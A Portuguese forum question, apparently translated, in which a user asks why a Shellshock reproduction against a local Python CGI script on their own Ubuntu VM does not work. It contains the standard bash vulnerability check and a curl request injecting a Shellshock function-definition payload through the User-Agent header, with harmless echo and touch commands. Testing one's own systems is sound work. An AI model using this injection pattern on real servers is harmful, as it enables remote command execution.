Impossível reproduzir o bug do ShellShock localmente

1

Eu tenho tentado reproduzir o bug do Shellshock no meu 14.04 Ubuntu VM local sem qualquer sorte. Eu sei que minha versão bash local ainda é vulnerável porque o comando a seguir imprime a parte comentada:

env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
# vulnerable
# this is a test

Minha configuração atual é um script CGI Python muito simples em execução no Apache2. Assumindo que minha configuração de host virtual simplesmente funciona, aqui está meu script Python em toda a sua glória:

#!/usr/bin/python
import os

val = os.environ.get('HTTP_USER_AGENT')

print "Content-type:text/html\r\n\r\n"
print "<html>"
print "<head>"
print "<title>Shellshocked!!</title>"
print "</head>"
print "<body>"
print "<h2>Hi world; ua=%s</h2>" % val
print "</body>"
print "</html>"

Eu chamo esta página da web usando o curl e o seguinte comando:

curl -H "User-Agent: () { :; }; touch ~/hacked.txt" http://localhost/cgi-bin/index.py

A saída é:

<html>
<head>
<title>Shellshocked!!</title>
</head>
<body>
<h2>Hi world; ua=() { :; }; touch ~/hacked.txt</h2>
</body>
</html>

Como você pode ver, o ataque é passado para a página, mas nada é criado no diretório pessoal. Alguma pista de por que o ataque não funciona? Os detalhes relevantes sobre minha versão bash são os seguintes:

adminuser@home:/bin$ bash --version
GNU bash, version 4.2.45(1)-release (x86_64-pc-linux-gnu)

Além disso, devo mencionar que meu /bin/sh é linkado com link simbólico para /bin/dash caso isso faça diferença, embora isso também seja vulnerável, pois o teste de vulnerabilidade acima ainda funciona.

    
por sasuke 05.10.2014 / 02:14

0 respostas